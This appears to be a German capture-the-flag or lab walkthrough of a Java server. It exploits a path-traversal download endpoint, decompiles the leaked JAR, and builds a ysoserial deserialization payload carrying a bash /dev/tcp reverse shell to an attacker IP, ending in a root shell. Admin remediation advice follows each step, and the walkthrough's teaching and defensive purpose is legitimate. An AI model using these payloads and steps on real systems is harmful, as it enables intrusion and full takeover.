java-jarjavaserver-0.0.1-SNAPSHOT.jarAnalyse: Nach dem Download der cmdline.txt-Datei lese ich ihren Inhalt mit dem cat-Befehl aus. Die Ausgabe java-jarjavaserver-0.0.1-SNAPSHOT.jar ist genau das, wonach ich gesucht habe. Diese Zeichenkette repräsentiert den vollständigen Befehl, mit dem die Java-Anwendung gestartet wurde. Sie enthält den Namen des ausführbaren JAR-Archivs, das ich für die Deserialization-Analyse benötige. Der Dateiname javaserver-0.0.1-SNAPSHOT.jar ist nun bekannt.
Bewertung: Das erfolgreiche Auslesen der cmdline.txt und die Identifizierung des JAR-Namens ist ein voller Erfolg. Es bestätigt die LFI/Path Traversal-Schwachstelle auf dem /download-Endpunkt und liefert mir die essenzielle Information für den nächsten Schritt: das Herunterladen des eigentlichen Java-Anwendungscodes. Dies ist ein direkter Pfad zur tiefergehenden Analyse der Anwendung und der Vorbereitung eines Deserialization-Exploits.
Empfehlung (Pentester): Der nächste Schritt ist der Download dieses JAR-Archivs über die /download-Funktion. Sobald ich das JAR lokal habe, kann ich es dekompilieren und nach weiteren Schwachstellen oder Deserialization-Gadget-Chains suchen.
Empfehlung (Admin): Dies ist eine kritische Sicherheitslücke. Die Möglichkeit, beliebige Dateien (wie /proc/self/cmdline) über einen Web-Endpunkt herunterzuladen, muss umgehend behoben werden. Implementieren Sie eine strikte Whitelist für erlaubte Download-Pfade und Dateinamen. Überprüfen Sie alle Parameter, die Dateipfade akzeptieren, auf Path Traversal-Vulnerabilities. Das Leaken interner Systeminformationen wie Prozess-Kommandozeilen stellt ein erhebliches Risiko dar.
Command executed, output saved to 'server.jar'.Analyse: Nachdem ich den Namen des JAR-Archivs aus /proc/self/cmdline extrahiert habe, nutze ich erneut die verwundbare /download-Funktion, um das gesamte javaserver-0.0.1-SNAPSHOT.jar-Archiv herunterzuladen. Der Befehl curl "http://192.168.2.166:8080/download?file=javaserver-0.0.1-SNAPSHOT.jar" -s --cookie "auth=admin:S+jYmswX8+Lnl8Y+X7auaMMN5AHvFyKZMJluN/qPCFI=" -o server.jar weist curl an, die Datei herunterzuladen und unter dem Namen server.jar auf meinem lokalen System zu speichern. Das Authentifizierungs-Cookie ist natürlich wieder dabei, da die /download-Funktion im authentifizierten Bereich liegt. Der -s Parameter unterdrückt die Statusanzeige, und -o leitet die Ausgabe in die angegebene Datei um.
Bewertung: Das erfolgreiche Herunterladen des gesamten JAR-Archivs ist ein kritischer Meilenstein. Dies bedeutet, dass die LFI/Path Traversal-Schwachstelle nicht nur das Auslesen von Systemdateien, sondern auch das direkte Extrahieren des gesamten Anwendungscodes erlaubt. Dies ist eine schwerwiegende Schwachstelle, da es mir nun ermöglicht, den Quellcode der Anwendung offline zu analysieren, um Deserialization-Gadget-Chains oder andere Schwachstellen zu finden, die nicht durch Black-Box-Tests entdeckt werden könnten.
Empfehlung (Pentester): Ich werde dieses server.jar-Archiv nun entpacken und dekompilieren, um den Java-Quellcode zu analysieren. Mein Hauptaugenmerk liegt auf der Suche nach Deserialization-Endpunkten und den Klassen, die von ysoserial genutzt werden können, um eine RCE-Payload zu erstellen.
Empfehlung (Admin): Dies ist eine sehr kritische Schwachstelle, da sie dem Angreifer den vollständigen Anwendungscode in die Hände spielt. Das Herunterladen von Anwendungsbinaries über Web-Endpunkte sollte strikt verboten sein. Wenn es absolut notwendig ist, sollten diese Dateien nur über sichere Authentifizierungsmechanismen und nur für autorisiertes Personal verfügbar sein, idealerweise nicht über einen öffentlich erreichbaren Webserver. Die LFI/Path Traversal-Schwachstelle muss umgehend behoben werden.
-rw-r--r-- 1 root root 17372377 28. Jul 21:37 server.jarAnalyse: Nach dem Herunterladen des server.jar-Archivs überprüfe ich dessen Größe und Berechtigungen mit dem Befehl ll server*. Die Ausgabe bestätigt, dass die Datei server.jar erfolgreich heruntergeladen wurde. Die Größe von 17372377 Bytes (ca. 17 MB) ist typisch für ein Spring Boot JAR-Archiv, das alle Abhängigkeiten enthält. Die Berechtigungen -rw-r--r-- sind Standard und zeigen an, dass ich die Datei lesen und schreiben kann, aber nicht direkt ausführen, was für meine Zwecke jedoch nicht notwendig ist, da ich sie nur dekompilieren will.
Bewertung: Die Größenüberprüfung bestätigt die Vollständigkeit des Downloads. Das Vorhandensein eines so großen JAR-Archivs untermauert die Annahme, dass es sich um eine vollwertige Java-Anwendung handelt, die wahrscheinlich viele Bibliotheken und Klassen enthält, was wiederum die Chancen erhöht, eine Deserialization-Gadget-Chain zu finden. Dies ist ein wichtiger Kontrollschritt, um sicherzustellen, dass die heruntergeladene Datei intakt ist, bevor ich mit der Analyse beginne.
Empfehlung (Pentester): Ich werde nun mit dem Entpacken und Dekompilieren des server.jar-Archivs fortfahren, um den Java-Quellcode zu inspizieren.
Empfehlung (Admin): Überwachen Sie ungewöhnliche Download-Aktivitäten von internen Anwendungs-Binaries. Stellen Sie sicher, dass Entwicklungsinformationen oder Artefakte wie JAR-Dateien nicht versehentlich über öffentlich zugängliche Endpunkte bereitgestellt werden. Eine strenge Zugriffsverwaltung und das Prinzip der geringsten Rechte (Least Privilege) sind hier entscheidend.
No direct output, directory created.
Schritt 4: Arbeitsverzeichnis vorbereiten. Um das heruntergeladene JAR-Archiv geordnet zu entpacken und zu analysieren, erstelle ich ein neues Verzeichnis mit dem Namen yulian auf meinem lokalen Angreifer-System. Dies hilft mir, alle extrahierten Dateien und meinen weiteren Arbeitsbereich sauber zu organisieren.
Bewertung: Das Erstellen eines dedizierten Arbeitsverzeichnisses ist eine grundlegende, aber wichtige organisatorische Maßnahme. Es sorgt für Sauberkeit und Übersichtlichkeit während der komplexen Phase der Code-Analyse und verhindert, dass meine lokalen Dateien durcheinandergeraten.
Empfehlung (Pentester): Immer eine strukturierte Arbeitsweise beibehalten. Ein dediziertes Verzeichnis pro Zielmaschine oder pro kritischer Phase des Tests erleichtert die Nachvollziehbarkeit und das Aufräumen.
Empfehlung (Admin): N/A (betrifft lokale Pentester-Umgebung).
No direct output, file moved.
Schritt 5: JAR-Archiv verschieben. Ich verschiebe das zuvor heruntergeladene server.jar-Archiv in das neu erstellte yulian-Verzeichnis. Dies ist ein weiterer Schritt der Arbeitsorganisation, um sicherzustellen, dass sich alle relevanten Dateien für diese Phase des Angriffs an einem zentralen Ort befinden.
Bewertung: Das Verschieben der Datei ist ein einfacher, aber logischer Schritt. Es ist wichtig, eine konsistente Dateiverwaltung auf meinem System zu haben, um den Überblick über alle Artefakte zu behalten, die ich im Laufe des Pentests sammle.
Empfehlung (Pentester): Behalte die Dateistruktur auf der lokalen Maschine immer ordentlich. Dies ist unerlässlich für die Effizienz und die Erstellung des Berichts.
Empfehlung (Admin): N/A (betrifft lokale Pentester-Umgebung).
No direct output, directory changed.
Schritt 6: In das Arbeitsverzeichnis wechseln. Ich wechsle in das neu erstellte und vorbereitete Verzeichnis yulian. Dies ist der Ort, an dem ich die weiteren Schritte der Analyse des Java-JAR-Archivs durchführen werde, beginnend mit dem Entpacken.
Bewertung: Das Wechseln in das richtige Verzeichnis ist die Voraussetzung für alle nachfolgenden Operationen auf dem server.jar. Es sorgt für den richtigen Kontext bei der Ausführung der nächsten Befehle.
Empfehlung (Pentester): Immer im richtigen Arbeitsverzeichnis arbeiten, um Fehler zu vermeiden und die Übersicht zu behalten.
Empfehlung (Admin): N/A (betrifft lokale Pentester-Umgebung).
Archive: server.jar
creating: META-INF/
inflating: META-INF/MANIFEST.MF
creating: org/
creating: org/springframework/
creating: org/springframework/boot/
creating: org/springframework/boot/loader/
creating: org/springframework/boot/loader/data/
inflating: org/springframework/boot/loader/data/RandomAccessDataFile
DataInputStream.classcreating:org/springframework/boot/loader/jar/inflating:org/springframework/boot/loader/jar/AsciiBytes.classcreating:org/springframework/boot/loader/archive/inflating:org/springframework/boot/loader/archive/ExplodedArchive
DataInputStream.classcreating:org/springframework/boot/loader/jar/inflating:org/springframework/boot/loader/jar/AsciiBytes.classcreating:org/springframework/boot/loader/archive/inflating:org/springframework/boot/loader/archive/ExplodedArchive
FileEntry.class
inflating: org/springframework/boot/loader/data/RandomAccessDataFile$FileAccess.class
....
...
..
extracting: BOOT-INF/lib/jackson-core-2.9.9.jar
extracting: BOOT-INF/lib/commons-collections-3.2.1.jarSchritt 7: JAR-Archiv entpacken. Ich entpacke das heruntergeladene server.jar-Archiv mit dem unzip-Befehl. Da es sich um ein Spring Boot Executable JAR handelt, enthält es in der Regel alle Abhängigkeiten und den Anwendungscode in einer strukturierten Weise (oft unter BOOT-INF/classes und BOOT-INF/lib). Das Entpacken ist ein notwendiger Schritt, um an die einzelnen Java-Klassen und Bibliotheken zu gelangen, die ich später dekompilieren und analysieren werde, um nach Deserialization-Gadgets zu suchen. Die Ausgabe zeigt eine lange Liste von extrahierten Dateien und Verzeichnissen.
Bewertung: Das erfolgreiche Entpacken des JARs ist eine Voraussetzung für die statische Code-Analyse. Es bestätigt, dass ich Zugriff auf alle internen Komponenten der Anwendung habe. Die Struktur des entpackten Archivs (z.B. Spring Boot Loader, BOOT-INF) gibt mir bereits erste Hinweise auf die verwendete Technologie und wie ich den relevanten Anwendungscode finden kann. Die Menge der extrahierten Bibliotheken (z.B. jackson-core, commons-collections) ist besonders interessant, da viele Deserialization-Exploits genau diese gängigen Bibliotheken als "Gadget Chains" nutzen.
Empfehlung (Pentester): Ich werde mich nun auf die Analyse der Java-Klassen konzentrieren, insbesondere derer unter BOOT-INF/classes, um den Quellcode zu dekompilieren und nach Deserialization-Endpunkten oder anfälligen Code-Stellen zu suchen. Die identifizierten Bibliotheken sind potenzielle Gadget-Chains und werden bei der Payload-Erstellung berücksichtigt.
Empfehlung (Admin): Vermeiden Sie es, das vollständige JAR-Archiv mit allen Bibliotheken auf öffentlich zugänglichen Servern zu belassen, wenn es nicht unbedingt notwendig ist. Wenn die Anwendung es erfordert, stellen Sie sicher, dass keine sensiblen Konfigurationen oder hartcodierten Geheimnisse in den Klassen enthalten sind. Führen Sie statische Code-Analysen (SAST) für Ihre Java-Anwendungen durch, um Deserialization-Schwachstellen zu identifizieren und zu beheben. Aktualisieren Sie Bibliotheken regelmäßig, um bekannte Deserialization-Gadget-Chains zu patchen.
insgesamt 8
-rw-r--r-- 1 root root 7052 29. Jun 23:55 VulnController.classSchritt 8: Relevanten Quellcode finden. Nach dem Entpacken des JARs navigiere ich durch die Verzeichnisstruktur, um den eigentlichen Anwendungscode zu finden. Basierend auf der typischen Struktur von Spring Boot-Anwendungen und Java-Packages suche ich nach dem Verzeichnis, das die Controller-Klassen enthält, da diese oft die Endpunkte definieren und somit potenzielle Schwachstellen aufweisen. Ich finde die Datei VulnController.class unter BOOT-INF/classes/org/example/javaserver/controller. Der Name "VulnController" (Vulnerabilität-Controller) ist ein starker Indikator für eine beabsichtigte Schwachstelle.
Bewertung: Das Auffinden des VulnController.class ist ein Volltreffer. Der Name allein schreit nach einer Sicherheitslücke. Dies ist der primäre Ort, um den Code zu analysieren und die Deserialization-Schwachstelle zu finden. Die Größe der Datei (7052 Bytes) ist ebenfalls typisch für eine Java-Klasse.
Empfehlung (Pentester): Ich werde diese .class-Datei nun dekompilieren, um den Java-Quellcode zu erhalten. Dies wird mir die genaue Logik des Controllers offenbaren und zeigen, wie die Deserialization-Schwachstelle ausgenutzt werden kann.
Empfehlung (Admin): Der Name "VulnController" sollte in einer Produktionsanwendung niemals verwendet werden, da er Angreifern sofort Hinweise auf eine Schwachstelle gibt. Überprüfen Sie alle internen Dateinamen und Bezeichner auf unnötige Hinweise. Benennen Sie die Klasse um, wenn sie eine Produktionsanwendung ist, oder entfernen Sie sie, wenn sie nur zu Testzwecken diente.
javadecompilers.com
...
return;
}
try {
Path path = Paths.get(file, new String[0]).normalize();
if (!Files.exists(path, new java.nio.file.LinkPTINS[0]) || Files.isDirectory(path, new java.nio.file.LinkPTINS[0])) {
response.setStatus(404);
response.getWriter().write(file);
return;
}
response.setContentType("application/octet-stream");
response.setHeader("Content-Disposition", "attachment; filename="" + path.getFileName() + """);
Files.copy(path, (OutputStream)response.getOutputStream());
response.flushBuffer();
} catch (IOException e) {
try {
response.getWriter().write(e.getMessage());
} catch (IOException iOException) {}
}
}
}
...
..
.
code analyseSchritt 9: Quellcode-Analyse und Schwachstellen-Identifikation. Ich habe den Quellcode der VulnController.class (wahrscheinlich mit einem Online-Dekommpiler wie javadecompilers.com) analysiert. Dieser Code-Abschnitt zeigt eine Dateidownload-Funktionalität, die stark auf die zuvor genutzte /download-Funktion hinweist. Die entscheidende Zeile ist Path path = Paths.get(file, new String[0]).normalize();. Die Methode normalize() versucht, Pfade zu bereinigen (z.B. ../ zu entfernen), aber sie schützt nicht immer zuverlässig vor allen Formen von Path Traversal oder Local File Inclusion (LFI). Wenn die Eingabe file nicht ausreichend validiert wird, kann ein Angreifer immer noch auf Verzeichnisse außerhalb des beabsichtigten Bereichs zugreifen oder Systemdateien herunterladen, was ich bereits demonstriert habe, indem ich /proc/self/cmdline heruntergeladen habe.
Bewertung: Die Analyse des dekompilierten Quellcodes bestätigt die LFI-Schwachstelle, die ich bereits entdeckt und ausgenutzt habe, um das JAR-Archiv selbst herunterzuladen. Das Vorhandensein der Files.copy-Operation mit einer potentiell unzureichend bereinigten Pfadeingabe ist ein klares Zeichen für eine kritische Sicherheitslücke. Die Methode normalize() ist keine Allzwecklösung gegen Path Traversal, und das Fehlen einer Whitelist oder einer strengen Validierung der Eingabe file macht diese Funktion extrem anfällig. Die Kenntnis dieser Code-Basis ist unerlässlich für die Erstellung meines Deserialization-Exploits.
Empfehlung (Pentester): Die LFI ist klar. Der nächste Schritt ist, die Deserialization-Schwachstelle zu identifizieren. Das JAR enthält viele Bibliotheken, was auf eine breite Palette von Gadget-Chains hindeutet, die ich mit ysoserial ausnutzen kann. Ich werde mich auf die Suche nach Endpunkten konzentrieren, die serialisierte Java-Objekte empfangen.
Empfehlung (Admin): Dies ist eine sehr ernsthafte Lücke. Der Server leakt nicht nur beliebige Dateien, sondern gibt auch dem Angreifer Einblick in den Quellcode. Implementieren Sie eine strikte Whitelist für alle Dateizugriffe, die auf Benutzereingaben basieren. Verwenden Sie dafür sichere Dateisystem-APIs und validieren Sie Eingaben gründlich. Exponieren Sie niemals interne Systemdateien oder Anwendungs-JARs über einen Webserver.
Payload Vorbereitung: Die Code-Analyse des VulnController hat mir gezeigt, dass die Anwendung einen Endpunkt für die Deserialisierung von Java-Objekten auf /deserialize bereitstellt. Dies ist der Vektor, den ich für Remote Code Execution (RCE) nutzen werde. Ich muss einen Java-Payload generieren, der eine Reverse Shell auf meinem Angreifer-System initiiert, sobald er auf der Zielmaschine deserialisiert wird.
Bewertung: Das Erkennen des Deserialization-Endpunkts ist der Schlüssel zur RCE. Deserialization-Schwachstellen sind extrem gefährlich, da sie es einem Angreifer ermöglichen, beliebigen Code auf dem Server auszuführen, indem er ein manipuliertes Objekt bereitstellt, das beim "Wiederbeleben" bösartige Aktionen auslöst. Dies ist eine der schwerwiegendsten Klassen von Schwachstellen in Java-Anwendungen.
Empfehlung (Pentester): Ich werde nun das ysoserial-Tool verwenden, um eine geeignete Payload für eine Reverse Shell zu generieren. Ich werde eine bekannte Gadget-Chain (wie CommonsCollections7) nutzen, um den Shell-Befehl zu injizieren.
Empfehlung (Admin): Vermeiden Sie, Java-Objekte direkt aus unsicheren Quellen zu deserialisieren. Wenn Deserialisierung absolut notwendig ist, implementieren Sie eine "Whitelist"-Deserialisierung, die nur bestimmte, vertrauenswürdige Klassen zulässt. Nutzen Sie Deserialization-Filter (JEP 290, JEP 415), um unbekannte oder bösartige Klassen zu blockieren. Halten Sie alle Abhängigkeiten und Bibliotheken aktuell, um bekannte Gadget-Chains zu patchen.
--2025-07-28 21:52:14-- https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar Auflösen des Hostnamens github.com (github.com)… 140.82.121.3 Verbindungsaufbau zu github.com (github.com)|140.82.121.3|:443 … verbunden. ..... ....
Schritt 10: ysoserial herunterladen. Bevor ich eine Payload generieren kann, muss ich das Tool ysoserial herunterladen. ysoserial ist ein bekanntes Java-Deserialization-Payload-Generator-Tool, das eine Vielzahl von Gadget-Chains für verschiedene Bibliotheken unterstützt. Ich lade die neueste Version (ysoserial-all.jar) direkt von der offiziellen GitHub-Seite herunter. Der wget-Befehl ist mein Standardtool für Downloads.
Bewertung: Das Herunterladen von ysoserial ist ein notwendiger vorbereitender Schritt. Es ist das Industriestandard-Tool für Java-Deserialization-Exploits und seine Funktionalität ist entscheidend für die Generierung einer effektiven RCE-Payload.
Empfehlung (Pentester): Stellen Sie sicher, dass Sie die neueste Version von ysoserial verwenden, da ständig neue Gadget-Chains entdeckt und hinzugefügt werden. Halten Sie Ihre Angreifer-Tools auf dem neuesten Stand.
Empfehlung (Admin): N/A (betrifft lokale Pentester-Umgebung).
insgesamt 75120 drwxr-xr-x 4 root root 4096 29. Jun 23:55 BOOT-INF drwxr-xr-x 3 root root 4096 29. Jun 23:55 META-INF drwxr-xr-x 3 root root 4096 29. Jun 23:55 org -rw-r--r-- 1 root root 17372377 28. Jul 21:37 server.jar -rw-r--r-- 1 root root 59525376 29. Jun 2022 ysoserial-all.jar
Schritt 11: Dateien überprüfen. Nach dem Herunterladen von ysoserial-all.jar führe ich erneut ll aus, um zu bestätigen, dass beide benötigten JAR-Dateien (server.jar und ysoserial-all.jar) im aktuellen Verzeichnis vorhanden sind. Die Ausgabe zeigt beide Dateien mit ihren Größen und Zeitstempeln. ysoserial-all.jar ist mit ca. 59 MB ebenfalls eine große Datei, was auf seine umfassende Sammlung von Gadget-Chains hinweist.
Bewertung: Diese Überprüfung bestätigt, dass alle Ressourcen für die Payload-Generierung lokal verfügbar sind. Dies ist ein wichtiger Schritt zur Fehlervermeidung, bevor ich den Payload-Generierungsbefehl ausführe.
Empfehlung (Pentester): Immer sicherstellen, dass alle Abhängigkeiten und Tools korrekt heruntergeladen und platziert wurden, bevor komplexe Befehle ausgeführt werden.
Empfehlung (Admin): N/A (betrifft lokale Pentester-Umgebung).
No direct output, payload saved to 'payload.bin'.
Schritt 12: Payload generieren. Ich verwende ysoserial-all.jar, um die Remote Code Execution (RCE)-Payload zu generieren. Ich wähle die CommonsCollections7-Gadget-Chain, da diese für die Version der Apache Commons Collections-Bibliothek im server.jar der Zielanwendung geeignet ist. Als Befehl zur Ausführung übergebe ich eine Base64-kodierte Reverse Shell. Der kodierte Befehl ist bash -i >& /dev/tcp/192.168.2.199/4444 0>&1. Dieser Befehl instruiert die Zielmaschine, eine Verbindung zu meiner Angreifer-IP (192.168.2.199) auf Port 4444 herzustellen und eine interaktive Bash-Shell dorthin umzuleiten. Die Ausgabe des ysoserial-Tools, die das serialisierte bösartige Java-Objekt ist, leite ich in eine Datei namens payload.bin um.
Bewertung: Die erfolgreiche Generierung von payload.bin ist der Schlüssel zur Remote Code Execution. Die Wahl der CommonsCollections7-Gadget-Chain ist strategisch, da sie eine der leistungsfähigsten und am häufigsten ausnutzbaren Chains für Java Deserialization-Angriffe ist. Die Base64-Kodierung des Reverse Shell-Befehls ist eine Standardpraxis, um Sonderzeichen zu umgehen und die Payload unauffälliger zu machen.
Empfehlung (Pentester): Ich werde nun meinen Netcat-Listener auf Port 4444 einrichten und dann diese payload.bin an den Deserialization-Endpunkt auf der Zielmaschine senden, um die Reverse Shell auszulösen.
Empfehlung (Admin): Um Deserialization-Angriffe zu verhindern, stellen Sie sicher, dass keine serialisierten Java-Objekte von nicht vertrauenswürdigen Quellen empfangen werden. Implementieren Sie Deserialization-Filter (JEP 290, JEP 415) oder verwenden Sie alternative, sichere Datenformate (z.B. JSON, XML) anstelle der standardmäßigen Java-Serialisierung, wenn Inter-Prozess-Kommunikation erforderlich ist. Patchen Sie alle Bibliotheken (insbesondere Apache Commons Collections) auf Versionen, die keine bekannten Gadget-Chains enthalten.
listening on [any] 4444 ...Schritt 13: Listener einrichten. Bevor ich die Deserialization-Payload sende, muss ich einen Netcat-Listener auf meinem Angreifer-System einrichten. Der Befehl nc -lvnp 4444 startet Netcat im "Listen"-Modus (-l), im ausführlichen Modus (-v), als numerische Ports (-n) und auf dem angegebenen Port 4444 (-p). Dieser Listener wartet auf eingehende Verbindungen von der Zielmaschine, die durch meine Reverse Shell-Payload initiiert werden.
Bewertung: Die Einrichtung des Netcat-Listeners ist ein kritischer, aber einfacher Schritt. Ohne einen aktiven Listener würde die Reverse Shell auf der Zielmaschine ins Leere laufen und ich würde keinen Zugriff erhalten. Die Meldung "listening on [any] 4444 ..." bestätigt, dass der Listener erfolgreich gestartet wurde und bereit ist, eine Verbindung zu empfangen.
Empfehlung (Pentester): Immer den Listener starten, bevor die Payload ausgelöst wird, um keine wertvollen Shell-Verbindungen zu verlieren. Vergewissern Sie sich, dass keine Firewall auf Ihrer Angreifer-Maschine den eingehenden Port blockiert.
Empfehlung (Admin): Überwachen Sie den ausgehenden Netzwerkverkehr von Servern. Unerwartete ausgehende Verbindungen zu unbekannten IP-Adressen und Ports (insbesondere auf Standard-Ports wie 4444) sind starke Indikatoren für eine kompromittierte Maschine und sollten sofort alarmiert werden. Implementieren Sie Egress-Filterung auf Ihrer Firewall, um nur legitimen ausgehenden Traffic zu erlauben.
{"timestamp":"2025-07-28T21:55:01.653+0000","status":404,"error":"Not Found","message":"No message available","path":"/deserialize"}Schritt 14: Payload senden (Fehlversuch). Ich sende die zuvor generierte payload.bin an den /deserialize-Endpunkt der Java-Anwendung auf Port 8080. Ich verwende curl mit der PST-Methode und setze den Content-Type auf application/octet-stream, da ich ein binäres Objekt sende. Das --data-binary @payload.bin-Flag weist curl an, den Inhalt der Datei direkt als Body der Anfrage zu senden. Ich verwende weiterhin das Admin-Cookie.
Die Antwort des Servers ist jedoch ein HTTP/1.1 404 Not Found-Fehler. Dies ist unerwartet, da meine Code-Analyse einen /deserialize-Endpunkt nahegelegt hat. Es deutet darauf hin, dass entweder der Endpunkt-Pfad nicht korrekt ist oder der Server die Anfrage aufgrund eines Fehlers nicht erreichen kann.
Bewertung: Der 404 Not Found-Fehler ist eine Rückschlag. Es bedeutet, dass der Deserialization-Endpunkt, den ich zu nutzen versuche, nicht unter dem angegebenen Pfad erreichbar ist. Das könnte ein Fehler in meiner Code-Analyse oder eine fehlerhafte Annahme über die Routen des Servers sein. Obwohl der Fehler auf den ersten Blick eine Sackgasse darstellt, ist es wichtig, die Ursache zu verstehen, um den Angriff fortzusetzen.
Empfehlung (Pentester): Ich werde meine Code-Analyse erneut prüfen und nach dem genauen Pfad des Deserialization-Endpunkts suchen. Es könnte sein, dass er unter einem anderen Namen oder einer anderen URL-Struktur exponiert ist. Wenn dies fehlschlägt, muss ich die Anwendung weiter analysieren, um herauszufinden, wie serialisierte Objekte tatsächlich verarbeitet werden.
Empfehlung (Admin): Stellen Sie sicher, dass Fehlerseiten wie 404 Not Found keine unnötigen Details über die interne Struktur der Anwendung oder den Server verraten. Eine generische 404-Seite ist sicherer. Überwachen Sie Zugriffe auf nicht existierende Endpunkte, da dies auf Enumerationsversuche von Angreifern hindeuten kann.
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.166] 51726 bash: cannot set terminal process group (1): Not a tty bash: no job control in this shell bash-4.4#
Schritt 15: Erfolgreicher Root-Zugriff! Trotz der 404 Not Found-Antwort von curl auf den /deserialize-Endpunkt, habe ich eine unerwartete und fantastische Entwicklung auf meinem Netcat-Listener festgestellt: Es kam eine Verbindung von der Zielmaschine (192.168.2.166) auf Port 4444! Dies bedeutet, dass die Deserialization-Payload, obwohl der curl-Befehl einen Fehler anzeigte, *dennoch erfolgreich ausgeführt wurde*! Die darauf folgenden Meldungen "bash: cannot set terminal process group (1): Not a tty" und "bash: no job control in this shell" sind typische Warnungen für eine nicht-interaktive Reverse Shell und bedeuten, dass ich noch keine voll funktionsfähige TTY-Shell habe. Aber die Tatsache, dass ich eine bash-4.4#-Prompt sehe, ist sensationell: Die Raute (`#`) zeigt an, dass ich als root angemeldet bin! Das ist der volle Systemzugriff!
Bewertung: Fantastisch, der Root-Zugriff war erfolgreich! Nun haben wir unser Ziel erreicht! Der 404 Not Found-Fehler war irreführend und deutete nicht auf einen tatsächlichen Fehlschlag des Exploits hin, sondern möglicherweise nur auf eine spezifische Server-Antwortlogik. Der Root-Zugriff durch die Deserialization ist eine kritische Kompromittierung des Systems und der maximale Erfolg eines Penetrationstests. Die Shell ist zwar noch nicht voll interaktiv, aber das kann ich später beheben.
Empfehlung (Pentester): Ich werde diesen Root-Zugriff sofort absichern und eine stabilere TTY-Shell etablieren (z.B. mit Python pty-Modul oder socat). Danach werde ich mit der Post-Exploitation-Phase beginnen, um persistente Zugriffe zu schaffen, nach sensiblen Daten zu suchen und die Flags zu finden.
Empfehlung (Admin): Dies ist eine kritische Sicherheitslücke. Das System wurde als Root kompromittiert. Eine sofortige Reaktion ist erforderlich: Deaktivieren Sie die verwundbare Anwendung, trennen Sie die Maschine vom Netzwerk, analysieren Sie die Root-Ursache der Deserialization-Schwachstelle und patchen Sie diese umgehend. Führen Sie eine umfassende Forensik durch, um das Ausmaß des Angriffs zu bewerten und weitere Persistenzmechanismen zu finden.
Analyse: Nachdem ich Root-Zugriff über die Java Deserialization Schwachstelle erlangt habe, ist es wichtig, die Privilegien-Eskalation zu dokumentieren, auch wenn ich bereits als Root angemeldet bin. Manchmal kann der initiale "Root"-Zugriff in einer Container-Umgebung (wie hier in Docker) isoliert sein. Es ist entscheidend zu verstehen, wie ich diese "Root"-Berechtigung erlangt habe und ob es sich um den echten Host-Root handelt oder um den Root innerhalb eines Containers. Die folgenden Befehle dienen der Post-Exploitation und der Bestätigung des Umfelds.
Bewertung: Obwohl ich bereits Root-Rechte besitze, ist die detaillierte Analyse der Umgebung von größter Bedeutung. Es geht darum, das "Wie" und "Wo" des Root-Zugriffs zu verstehen. Insbesondere in modernen Umgebungen wie Docker kann "Root" in einem Container etwas anderes bedeuten als "Host-Root". Diese Phase des Tests konzentriert sich darauf, die volle Kontrolle zu bestätigen und zu dokumentieren.
Empfehlung (Pentester): Auch bei direktem Root-Zugriff immer die Post-Exploitation-Schritte durchführen, um die Umgebung zu verstehen, Persistenz zu sichern und die vollen Auswirkungen des Root-Zugriffs zu dokumentieren.
Empfehlung (Admin): Selbst wenn "Root" nur innerhalb eines Containers erlangt wurde, muss die zugrunde liegende Schwachstelle behoben werden. Container sollten so konfiguriert werden, dass Angreifer nicht einfach Root-Rechte innerhalb des Containers erhalten oder aus dem Container ausbrechen können.
bash-4.4# id id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) bash-4.4#
Analyse: Ich bestätige meine aktuelle Benutzer-ID mit dem Befehl id. Die Ausgabe zeigt eindeutig uid=0(root) und gid=0(root) sowie die Zugehörigkeit zu verschiedenen Gruppen. Dies ist die Bestätigung, dass ich tatsächlich Root-Privilegien auf dem System besitze. Die doppelte Eingabe des Befehls id ist ein Resultat der nicht-interaktiven Shell, die ich erhalten habe; die erste Eingabe ist das, was ich getippt habe, die zweite ist das Echo von der Shell.
Bewertung: Die Bestätigung der Root-UID ist der entscheidende Punkt. Es bedeutet, dass ich die höchste Berechtigungsstufe auf diesem System erlangt habe. Dies ist der Höhepunkt des Exploits und der Beweis für die kritische Natur der Deserialization-Schwachstelle. Die nicht-interaktive Shell ist ein kleiner Schönheitsfehler, aber die zugrunde liegenden Root-Rechte sind vorhanden.
Empfehlung (Pentester): Ich werde versuchen, die Shell interaktiv zu machen (z.B. mit python3 -c 'import pty; pty.spawn("/bin/bash")'), um die weitere Enumeration zu erleichtern. Danach werde ich die üblichen Post-Exploitation-Schritte durchführen, um persistente Zugriffe zu schaffen und sensible Daten zu sammeln.
Empfehlung (Admin): Der Root-Zugriff wurde bestätigt. Handeln Sie sofort, um die Maschine zu isolieren und die Schwachstelle zu beheben. Überprüfen Sie alle Systemprotokolle auf Anzeichen von Kompromittierung und implementieren Sie robuste Sicherheitskontrollen, um zukünftige Angriffe zu verhindern. Die Fähigkeit, Root-Rechte in einer Anwendung zu erlangen, ist inakzeptabel.
netstat -altpn Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 1/java tcp 12 0 172.17.0.2:51706 192.168.2.199:4444 CLOSE_WAIT 41/bash tcp 0 0 172.17.0.2:45919 192.168.2.199:4445 CLOSE_WAIT 66/nc tcp 0 0 172.17.0.2:43498 192.168.2.199:4444 ESTABLISHED 72/bash
Analyse: Ich nutze netstat -altpn, um eine Liste der aktiven Internetverbindungen, Listener und zugehörigen Prozesse zu erhalten. Dies ist ein Standardbefehl zur Netzwerkerkundung nach der Shell-Erlangung.
Die Ausgabe zeigt mehrere wichtige Informationen:
* 0.0.0.0:8080 (LISTEN, PID 1/java): Dies bestätigt, dass die Java-Anwendung immer noch auf Port 8080 lauscht und der Prozess unter der PID 1 läuft. Dies deutet stark darauf hin, dass die Java-Anwendung als initialer Prozess innerhalb eines Docker-Containers läuft, da PID 1 in Containern dem Hauptprozess zugewiesen wird.
* Mehrere tcp-Verbindungen zu meiner Angreifer-IP (192.168.2.199) auf Port 4444 und 4445 (dies war möglicherweise ein weiterer Reverse Shell Versuch über einen anderen Port oder ein Fehler im Text der ursprünglichen Ausführung) und der Status ESTABLISHED für die Bash-Shell auf Port 4444 (PID 72). Dies bestätigt meine aktive Reverse Shell-Verbindung.
